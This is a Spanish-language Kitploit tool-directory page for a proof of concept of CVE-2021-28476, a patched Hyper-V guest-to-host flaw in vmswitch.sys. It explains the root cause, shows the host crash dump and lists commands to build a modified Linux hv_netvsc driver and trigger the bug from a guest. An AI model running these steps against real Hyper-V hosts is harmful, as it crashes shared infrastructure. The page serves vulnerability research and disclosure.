Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-28476 — PoC para CVE-2021-28476, una vulnerabilidad de ejecución remota de código en Hyper-V de invitado a host en vmswitch.sys. | Kitploit
Herramientas/GitHubGitHub/0vercl0k/cve-2021-28476
Análisis de VulnerabilidadesExplotaciónFuzzingAprendizaje y EducaciónExplotación de BinariosArchived
GitHub0vercl0k/cve-2021-28476

CVE-2021-28476

PoC para CVE-2021-28476, una vulnerabilidad de ejecución remota de código en Hyper-V de invitado a host en vmswitch.sys.

Ver Repositorio
226344hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-28476: una vulnerabilidad de ejecución remota de código de Microsoft Hyper-V de invitado a anfitrión en vmswitch.sys.

Esta es una prueba de concepto para CVE-2021-28476 ("Vulnerabilidad de ejecución remota de código en Hyper-V"), una lectura arbitraria de memoria en vmswitch.sys (proveedor de servicios de virtualización de red) parcheada por Microsoft en mayo de 2021.

rel04vsrel05

La vulnerabilidad fue encontrada por @australeo, @ergot86, @peleghd y @OphirHarpaz. Es desencadenable por una máquina virtual invitada que envía un paquete RNDIS malicioso a través de VMBus (que es un mecanismo de comunicación basado en canales utilizado para la comunicación entre particiones).

trigger

Así es como se ve el fallo del sistema anfitrión en un depurador:

root@kitploit:~
*** Fatal System Error: 0x0000007e (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. nt!DbgBreakPointWithStatus: fffff801`31412c50 cc int 3 kd> .cxr 0xffffb70dd7eb6860 rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000 rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00 rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0 r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0be r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001 r14=00000000000021f0 r15=fffff80ad4bc7360 iopl=0 nv up ei pl zr na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb: fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=???????? kd> kp # Child-SP RetAddr Call Site 00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb 01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d 02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x196 03 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199 04 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x93 05 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x105 06 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x55 07 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28

El error en sí ocurre en VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST, que es una función que puede ser llamada con datos controlados por el atacante (lo que no debería) y desreferencia dos veces un puntero (boom->_win abajo) que una máquina virtual invitada maliciosa puede proporcionar.

boom

Si esto te resulta interesante, @peleghd y @OphirHarpaz discutirán esto en detalle, así como el proceso de descubrimiento, en una presentación de BlackHat USA 2021 titulada hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.

Ejecutando la PoC

La forma más fácil de ejecutar la PoC es crear una máquina virtual Linux con la última versión de Ubuntu Focal.

Una vez hecho esto, clona las fuentes del kernel correspondientes:

root@kitploit:~
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

Reemplaza ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c por src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c por src/rndis_filter.c y ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h por src/hyperv_net.h (el diff completo está disponible en cve-2021-28476.diff):

root@kitploit:~
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

Finalmente, desencadena el problema cargando el módulo y cambiando la dirección ethernet de la interfaz de red (esta acción desencadena la ruta de código específica que añadimos en rndis_filter.c / netvsc_set_mac_addr):

root@kitploit:~
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

Autores

  • Axel '@0vercl0k' Souchet
Descargar herramienta